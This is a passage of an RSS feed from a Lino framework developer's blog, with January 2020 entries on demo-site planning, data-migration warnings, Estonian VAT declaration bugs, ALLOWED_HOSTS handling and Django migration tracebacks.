&lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;tickets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Link&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;parent&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Ticket instance with id 2197 does not exist.&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;primary&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="mi"&gt;184&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;working&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Session&lt;/span&gt; &lt;span class="n"&gt;Ticket&lt;/span&gt; &lt;span class="n"&gt;matching&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt; &lt;span class="n"&gt;does&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;exist&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;primary&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="mi"&gt;6232&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;6388&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7429&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7502&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7503&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7504&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7505&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7988&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8232&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8302&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8418&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10529&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10531&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10709&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10711&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;11175&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;117&lt;/span&gt;
&lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;section id="milestone-march"&gt;
&lt;h2&gt;Milestone March&lt;a class="headerlink" href="#milestone-march" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I record our yesterday’s standup meeting here because it has historic value.
During the next months we will change some priorities.&lt;/p&gt;
&lt;p&gt;Luc: Hi. I cannot talk because I’m sitting with Iiris in the bus to Pärnu, the bus has WiFi but I forgot my headset&lt;/p&gt;
&lt;p&gt;Okay I now agree: let’s remove Ciao and Amici from the list of hosted
applications.  Because it is difficult to explain why they are useful. So we
need only the following demo sites :&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Così using ExtJS&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Noi using React&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;later maybe Voga and Welfare&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tonis: Maybe react for cosi as well, so 3 sites.&lt;/p&gt;
&lt;p&gt;Luc: Yes, the exact setup must be flexible anyway. For example there will be at least an estonian and a belgian cosi&lt;/p&gt;
&lt;p&gt;Let me focus on Cosi while you focus on Noi.&lt;/p&gt;
&lt;p&gt;For March I would like to have an “impressing” Lino Noi that I can present to
some people in Tallinn for my project “Gaudete”.
Slogan : “Discuss as easily as on Facebook, but find back your discussions when
you need them.”&lt;/p&gt;
&lt;p&gt;Tonis: Mmhm, so definitely we’ll need to have something like zulip for chat. Also need
to get the websockets working on react, otherwise it doesn’t work at all…&lt;/p&gt;
&lt;p&gt;Luc: I am not convinced that we need desktop notifications in the beginning.
Rather just a dynamic “refresh” button at different places that indicates
whether there is something to refresh.&lt;/p&gt;
&lt;p&gt;Tonis: I think we should have some nestable comments / replies.&lt;/p&gt;
&lt;p&gt;Should have another look at zulip, see what ordering they’re doing.&lt;/p&gt;
&lt;p&gt;It should be that newest at the top of the ui. But if you have a reply, should
the reply be under the parent comment, or on top…  if that’s understandable.
reddit has it so the parent is always on top, as you’re usually reading a
thread for the first time,  IIRK twitter and perhaps zulip have it the other
way, as you’re checking back on a thread….&lt;/p&gt;
&lt;p&gt;Luc:&lt;/p&gt;
&lt;p&gt;(We should do more) regular brainstormings on what needs to be changed in Noi.
My first spontaneous list of ideas:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;“Recent comments” : (a) optimize the design (b) add a “Reply link to every comment&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;add upvotes and downvotes as on reddit&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;add a new kind of views: additionally to the existing “grid” and “detail” views, Lino should introduce a “navigate” view.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;“Navigate” view:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;current detail view (e.g. &lt;a class="reference external" href="https://hobbit.saffre-rumma.net/#/api/tickets/Tickets/411"&gt;https://hobbit.saffre-rumma.net/#/api/tickets/Tickets/411&lt;/a&gt;) shows the ticket in “ready to Edit” mode.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;the new navigate view (e.g. &lt;a class="reference external" href="https://hobbit.saffre-rumma.net/t/411"&gt;https://hobbit.saffre-rumma.net/t/411&lt;/a&gt;) shows the ticket in “navigate” mode where a meaningful and intuitive overview is the primary goal. Customized per model.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I want to get the Gaudete people to start a Noi site. I believe that we can do it. Let’s put all our energy into these two projects (Noi and Cosi).
I’d even say : If I cannot convince the Gaudete people in March, then I give up Lino.&lt;/p&gt;
&lt;p&gt;Tonis: Gaudete are the church group or?&lt;/p&gt;
&lt;p&gt;Luc: yes.
I’ll try to describe the needs. but anyway it will be dynamic requirements.
First important thing is that you can discuss using your mobile phone. some of them never use a desktop.
But the admins do.
Another important new thing is this “navigation” view. (Or “Surfer” view… I am not yet sure bout the name).
Not sure whether that customized view per model should be done using element trees or rather using jinja templates.
The goal of these navigation views is that users can share via url a web page about a given ticket (or user,  calendar entry, comment, …) so that the content makes sense to external surfers.&lt;/p&gt;
&lt;p&gt;Tonis: Mmhm, we have a perma-link for each item, but there’s no share button… might be worth having.&lt;/p&gt;
&lt;p&gt;Luc: a share button can come later. i think that most people are able to share a link using their browser. imho…&lt;/p&gt;
&lt;p&gt;I imagine that navigate view as follows:&lt;/p&gt;
&lt;p&gt;1) a model mixin “Surfable” with a method get_html_page() and a class attribute “surf_url_root”.
And another instance method get_id()&lt;/p&gt;
&lt;p&gt;Oops we arrive in Tallinn…&lt;/p&gt;
&lt;/section&gt;
&lt;section id="weleup-final-sprint-for-coming-site-upgrade"&gt;
&lt;h2&gt;weleup : Final sprint for coming site upgrade&lt;a class="headerlink" href="#weleup-final-sprint-for-coming-site-upgrade" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I analyzed the following warnings during data migration:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;aids.IncomeConfirmation [‘Datumsbereich 01.03.17…14.10.17 au&amp;lt;C3&amp;gt;&amp;lt;9F&amp;gt;erhalb der Laufzeit des Beschlusses 01.03.17…13.10.17.’] (2 object(s) with primary key 6112, 6111)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;aids.IncomeConfirmation [‘Datumsbereich 01.03.17…15.10.17 au&amp;lt;C3&amp;gt;&amp;lt;9F&amp;gt;erhalb der Laufzeit des Beschlusses 01.03.17…13.10.17.’] (1 object(s) with primary key 5382)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;aids.IncomeConfirmation [‘Datumsbereich 01.02.09…15.04.18 au&amp;lt;C3&amp;gt;&amp;lt;9F&amp;gt;erhalb der Laufzeit des Beschlusses 01.02.09…14.04.18.’] (1 object(s) with primary key 5428)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;aids.IncomeConfirmation [‘Datumsbereich 22.12.16…14.05.19 au&amp;lt;C3&amp;gt;&amp;lt;9F&amp;gt;erhalb der Laufzeit des Beschlusses 22.12.16…13.05.19.’] (1 object(s) with primary key 5534)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;aids.IncomeConfirmation [‘Datumsbereich 06.04.19…06.04.19 au&amp;lt;C3&amp;gt;&amp;lt;9F&amp;gt;erhalb der Laufzeit des Beschlusses 01.03.19…10.03.19.’] (2 object(s) with primary key 5626, 5881)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;aids.IncomeConfirmation [‘Datumsbereich 01.05.18…01.05.18 au&amp;lt;C3&amp;gt;&amp;lt;9F&amp;gt;erhalb der Laufzeit des Beschlusses 08.09.18….’] (1 object(s) with primary key 6030)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;aids.IncomeConfirmation [‘Datumsbereich 03.09.19…03.09.19 au&amp;lt;C3&amp;gt;&amp;lt;9F&amp;gt;erhalb der Laufzeit des Beschlusses 16.08.19…02.09.19.’] (1 object(s) with primary key 6043)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;aids.IncomeConfirmation [‘Datumsbereich 05.09.19…01.11.19 au&amp;lt;C3&amp;gt;&amp;lt;9F&amp;gt;erhalb der Laufzeit des Beschlusses 05.09.19…31.10.19.’] (1 object(s) with primary key 6218)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;aids.IncomeConfirmation [‘Datumsbereich 14.07.18…26.10.19 au&amp;lt;C3&amp;gt;&amp;lt;9F&amp;gt;erhalb der Laufzeit des Beschlusses 13.07.18…14.09.18.’] (2 object(s) with primary key 6260, 6261)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;aids.RefundConfirmation [‘Datumsbereich 15.02.19…15.02.19 au&amp;lt;C3&amp;gt;&amp;lt;9F&amp;gt;erhalb der Laufzeit des Beschlusses 01.08.19….’] (1 object(s) with primary key 5904)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;aids.RefundConfirmation [‘Datumsbereich 15.03.19…15.03.19 au&amp;lt;C3&amp;gt;&amp;lt;9F&amp;gt;erhalb der Laufzeit des Beschlusses 01.06.15…12.03.19.’] (1 object(s) with primary key 5989)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;aids.RefundConfirmation [‘Datumsbereich 19.03.19…19.03.19 au&amp;lt;C3&amp;gt;&amp;lt;9F&amp;gt;erhalb der Laufzeit des Beschlusses 01.06.15…12.03.19.’] (1 object(s) with primary key 5990)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;aids.RefundConfirmation [‘Datumsbereich 18.03.19…18.03.19 au&amp;lt;C3&amp;gt;&amp;lt;9F&amp;gt;erhalb der Laufzeit des Beschlusses 14.03.19…17.03.19.’] (1 object(s) with primary key 5997)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;aids.RefundConfirmation [‘Datumsbereich 18.03.19…18.03.19 au&amp;lt;C3&amp;gt;&amp;lt;9F&amp;gt;erhalb der Laufzeit des Beschlusses 01.06.15…12.03.19.’] (1 object(s) with primary key 6002)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;aids.RefundConfirmation [‘Datumsbereich 20.03.19…20.03.19 au&amp;lt;C3&amp;gt;&amp;lt;9F&amp;gt;erhalb der Laufzeit des Beschlusses 01.08.19….’] (1 object(s) with primary key 6008)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;aids.RefundConfirmation [‘Datumsbereich 04.04.19…04.04.19 au&amp;lt;C3&amp;gt;&amp;lt;9F&amp;gt;erhalb der Laufzeit des Beschlusses 01.08.19….’] (1 object(s) with primary key 6062)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;aids.RefundConfirmation [‘Datumsbereich 09.05.19…10.05.19 au&amp;lt;C3&amp;gt;&amp;lt;9F&amp;gt;erhalb der Laufzeit des Beschlusses 01.08.19….’] (1 object(s) with primary key 6167)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;aids.RefundConfirmation [‘Datumsbereich 09.05.19…09.05.19 au&amp;lt;C3&amp;gt;&amp;lt;9F&amp;gt;erhalb der Laufzeit des Beschlusses 01.08.19….’] (1 object(s) with primary key 6168)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;aids.RefundConfirmation [‘Datumsbereich 05.07.19…05.07.19 au&amp;lt;C3&amp;gt;&amp;lt;9F&amp;gt;erhalb der Laufzeit des Beschlusses 01.08.19….’] (1 object(s) with primary key 6342)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;aids.RefundConfirmation [‘Datumsbereich 12.11.19…12.11.19 au&amp;lt;C3&amp;gt;&amp;lt;9F&amp;gt;erhalb der Laufzeit des Beschlusses 12.01.16…01.10.19.’] (1 object(s) with primary key 6680)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;aids.RefundConfirmation [‘Datumsbereich 25.11.19…25.11.19 au&amp;lt;C3&amp;gt;&amp;lt;9F&amp;gt;erhalb der Laufzeit des Beschlusses 02.09.18…12.11.19.’] (1 object(s) with primary key 6717)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;aids.RefundConfirmation [‘Datumsbereich 05.12.19…05.12.19 au&amp;lt;C3&amp;gt;&amp;lt;9F&amp;gt;erhalb der Laufzeit des Beschlusses 12.01.16…01.10.19.’] (1 object(s) with primary key 6767)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These warnings were normal because I must adapt the value of the
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;aids.no_date_range_veto_until&lt;/span&gt;&lt;/code&gt; plugin config. I now changed it from:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;aids&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;no_date_range_veto_until&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5343&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;to:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;aids&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;no_date_range_veto_until&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;6767&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Tonight Hamza or I will run &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/misc.html#xfile-pull.sh" title="(in getlino docs)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;pull.sh&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; followed by another
&lt;a class="reference external" href="https://hosting.lino-framework.org/mirror/#xfile-initdb_from_prod.sh" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;initdb_from_prod.sh&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I reviewed the release notes.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="relatedobjectdoesnotexist-voucher-has-no-journal"&gt;
&lt;h2&gt;RelatedObjectDoesNotExist: Voucher has no journal&lt;a class="headerlink" href="#relatedobjectdoesnotexist-voucher-has-no-journal" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;/section&gt;
&lt;section id="migrate-our-accounting-from-tim-to-lino"&gt;
&lt;h2&gt;Migrate our accounting from TIM to Lino&lt;a class="headerlink" href="#migrate-our-accounting-from-tim-to-lino" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I entered all sales invoices 2018.&lt;/p&gt;
&lt;p&gt;Next problem is in June : ost EL firmadelt (purchase of services from other EU
countries).  The base amount should come in field 1, and the VAT amount in 4.1
and 5.  Everything is correct except that the base amount is not shown in field
1.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="how-to-handle-requests-via-the-ip-address"&gt;
&lt;h2&gt;How to handle requests via the IP address&lt;a class="headerlink" href="#how-to-handle-requests-via-the-ip-address" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;When the server’s IP address is not listed in &lt;code class="xref std std-setting docutils literal notranslate"&gt;&lt;span class="pre"&gt;ALLOWED_HOSTS&lt;/span&gt;&lt;/code&gt;, Lino
refuses to answer.  But one of our production site is obviously being monitored
by some unknown third-party robots who use the IP address.  These third-party
robots are e.g. 35.245.221.30 (IP owner is Google) or 34.238.127.187 (Amazon).
The special thing with this site is that Lino runs on the main domain.  We
usually have Lino on some subdomain, so that nginx or apache handle such
requests.&lt;/p&gt;
&lt;p&gt;Actually it’s correct that Lino refuses to answer these requests. But we don’t
want it to send an email “Invalid HTTP_HOST header: ‘95.142.174.49’. You may
need to add ‘95.142.174.49’ to ALLOWED_HOSTS.” for each of them. I opened
&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3457"&gt;#3457&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;But the good solution is to change the DNS config. We don not yet want a
&lt;a class="reference external" href="https://wellfire.co/learn/multi-tennancy-in-django-using-subdomains/"&gt;solution like this one&lt;/a&gt; where
a Django app analyzes the subdomain.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="estonian-vat-declaration"&gt;
&lt;h2&gt;Estonian VAT declaration&lt;a class="headerlink" href="#estonian-vat-declaration" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The base amount of intracom purchases must go to field 1.  So the field 1 in
Estonian VAT declaration is a mixture of sales (with regime private or subject)
and purchases (with regime intracom).  So we need to introduce two intermediate
fields 1a and 1b that are not declared to the tax office, and field 1 becomes a
sum of those fields.&lt;/p&gt;
&lt;p&gt;I found and fixed a bug in the general vat plugin : inversed sums (fieldname
prefixed with -) were not yet correctly computed.&lt;/p&gt;
&lt;p&gt;Idem for field 2 for operations with reduced vat rate.&lt;/p&gt;
&lt;p&gt;And a third bug for today. A subtle one:  invoices with returnable VAT booked
the couple movements (one + and one -) into the wrong direction. The amount is
added to the vat_due account and subtracted from the vat_returnable_account (and
not the opposite).&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0109.html</guid><pubDate>Thu, 09 Jan 2020 00:00:00 +0000</pubDate></item><item><title>Tuesday, January 7, 2020</title><link>https://luc.lino-framework.org/blog/2020/0107.html</link><description>&lt;section id="tuesday-january-7-2020"&gt;
&lt;h1&gt;Tuesday, January 7, 2020&lt;a class="headerlink" href="#tuesday-january-7-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I added the &lt;cite&gt;Partners.detail_layout&lt;/cite&gt; to &lt;a class="reference external" href="https://welfare.lino-framework.org/index.html#welfare" title="(in Lino Welfare)"&gt;&lt;span&gt;Lino Welfare&lt;/span&gt;&lt;/a&gt; in order to reduce number
of non-requested changes.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0107.html</guid><pubDate>Tue, 07 Jan 2020 00:00:00 +0000</pubDate></item><item><title>Saturday, January 4, 2020</title><link>https://luc.lino-framework.org/blog/2020/0104.html</link><description>&lt;section id="saturday-january-4-2020"&gt;
&lt;h1&gt;Saturday, January 4, 2020&lt;a class="headerlink" href="#saturday-january-4-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;$ python manage.py dump2py 20200104
$ ./pull.sh&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;As expected, there is some change in the database:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ python manage.py dump2py -o t
Traceback (most recent call last):
...
django.db.utils.OperationalError: (1054, &amp;quot;Unknown column &amp;#39;comments_comment.private&amp;#39; in &amp;#39;field list&amp;#39;&amp;quot;)
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I try using Django migrations:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ python manage.py makemigrations
Started manage.py makemigrations (using lino_sites.jane.settings) --&amp;gt; PID 21156
Traceback (most recent call last):
  File &amp;quot;manage.py&amp;quot;, line 10, in &amp;lt;module&amp;gt;
    from lino_local import manage ; manage(__file__)
  File &amp;quot;/usr/local/python/lino_local.py&amp;quot;, line 10, in manage
    execute_from_command_line(sys.argv)
  File &amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/django/core/management/__init__.py&amp;quot;, line 381, in execute_from_command_line
    utility.execute()
  File &amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/django/core/management/__init__.py&amp;quot;, line 375, in execute
    self.fetch_command(subcommand).run_from_argv(self.argv)
  File &amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/django/core/management/base.py&amp;quot;, line 323, in run_from_argv
    self.execute(*args, **cmd_options)
  File &amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/django/core/management/base.py&amp;quot;, line 364, in execute
    output = self.handle(*args, **options)
  File &amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/django/core/management/base.py&amp;quot;, line 83, in wrapped
    res = handle_func(*args, **kwargs)
  File &amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/django/core/management/commands/makemigrations.py&amp;quot;, line 87, in handle
    loader = MigrationLoader(None, ignore_no_migrations=True)
  File &amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/django/db/migrations/loader.py&amp;quot;, line 49, in __init__
    self.build_graph()
  File &amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/django/db/migrations/loader.py&amp;quot;, line 206, in build_graph
    self.load_disk()
  File &amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/django/db/migrations/loader.py&amp;quot;, line 108, in load_disk
    migration_module = import_module(migration_path)
  File &amp;quot;/usr/lib/python3.7/importlib/__init__.py&amp;quot;, line 127, in import_module
    return _bootstrap._gcd_import(name[level:], package, level)
  File &amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;, line 1006, in _gcd_import
  File &amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;, line 983, in _find_and_load
  File &amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;, line 967, in _find_and_load_unlocked
  File &amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;, line 677, in _load_unlocked
  File &amp;quot;&amp;lt;frozen importlib._bootstrap_external&amp;gt;&amp;quot;, line 728, in exec_module
  File &amp;quot;&amp;lt;frozen importlib._bootstrap&amp;gt;&amp;quot;, line 219, in _call_with_frames_removed
  File &amp;quot;/usr/local/python/lino_sites/jane/migrations/users/0002_user_user_type.py&amp;quot;, line 9, in &amp;lt;module&amp;gt;
    class Migration(migrations.Migration):
  File &amp;quot;/usr/local/python/lino_sites/jane/migrations/users/0002_user_user_type.py&amp;quot;, line 19, in Migration
    field=lino.core.choicelists.ChoiceListField(blank=True, choicelist=lino.modlib.users.choicelists.UserTypes, choices=[(lino.modlib.users.choicelists.UserType(&amp;#39;000&amp;#39;, &amp;#39;Anonymous&amp;#39;, lino_noi.lib.noi.user_types.Anonymous, &amp;#39;anonymous&amp;#39;, authenticated=False, readonly=True), &amp;#39;000 (000 (Anonymous))&amp;#39;), (lino.modlib.users.choicelists.UserType(&amp;#39;100&amp;#39;, &amp;#39;Customer&amp;#39;, lino_noi.lib.noi.user_types.Customer, &amp;#39;customer&amp;#39;), &amp;#39;100 (100 (Customer))&amp;#39;), (lino.modlib.users.choicelists.UserType(&amp;#39;200&amp;#39;, &amp;#39;Contributor&amp;#39;, lino_noi.lib.noi.user_types.Contributor, &amp;#39;contributor&amp;#39;), &amp;#39;200 (200 (Contributor))&amp;#39;), (lino.modlib.users.choicelists.UserType(&amp;#39;400&amp;#39;, &amp;#39;Developer&amp;#39;, lino_noi.lib.noi.user_types.Devloper, &amp;#39;developer&amp;#39;), &amp;#39;400 (400 (Developer))&amp;#39;), (lino.modlib.users.choicelists.UserType(&amp;#39;900&amp;#39;, &amp;#39;Administrator&amp;#39;, lino_noi.lib.noi.user_types.SiteAdmin, &amp;#39;admin&amp;#39;), &amp;#39;900 (900 (Administrator))&amp;#39;)], default=None, help_text=&amp;#39;The user_type of a user is what defines her or his permissions.&amp;#39;, max_length=20, verbose_name=&amp;#39;User type&amp;#39;),
AttributeError: module &amp;#39;lino_noi.lib.noi.user_types&amp;#39; has no attribute &amp;#39;Devloper&amp;#39;
Done manage.py makemigrations (PID 21156)
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;So I do it the old way:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ mv migrations migrations.old
$ python manage.py run 20200104/restore.py
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;TypeError: Group() got an unexpected keyword argument ‘private’&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0104.html</guid><pubDate>Sat, 04 Jan 2020 00:00:00 +0000</pubDate></item><item><title>Friday, January 3, 2020</title><link>https://luc.lino-framework.org/blog/2020/0103.html</link><description>&lt;section id="friday-january-3-2020"&gt;
&lt;h1&gt;Friday, January 3, 2020&lt;a class="headerlink" href="#friday-january-3-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="no-module-named-lino-book"&gt;
&lt;h2&gt;No module named ‘lino_book’&lt;a class="headerlink" href="#no-module-named-lino-book" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Build &lt;a class="reference external" href="https://travis-ci.org/lino-framework/presto/builds/632035378"&gt;#32&lt;/a&gt; in
&lt;a class="reference external" href="https://lino-framework.gitlab.io/presto/index.html#presto" title="(in Lino Presto)"&gt;&lt;span&gt;Lino Presto&lt;/span&gt;&lt;/a&gt; failed with &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;ModuleNotFoundError:&lt;/span&gt; &lt;span class="pre"&gt;No&lt;/span&gt; &lt;span class="pre"&gt;module&lt;/span&gt; &lt;span class="pre"&gt;named&lt;/span&gt;
&lt;span class="pre"&gt;'lino_book'&lt;/span&gt;&lt;/code&gt;.  I guess that this is caused by some obsolete approach for filling
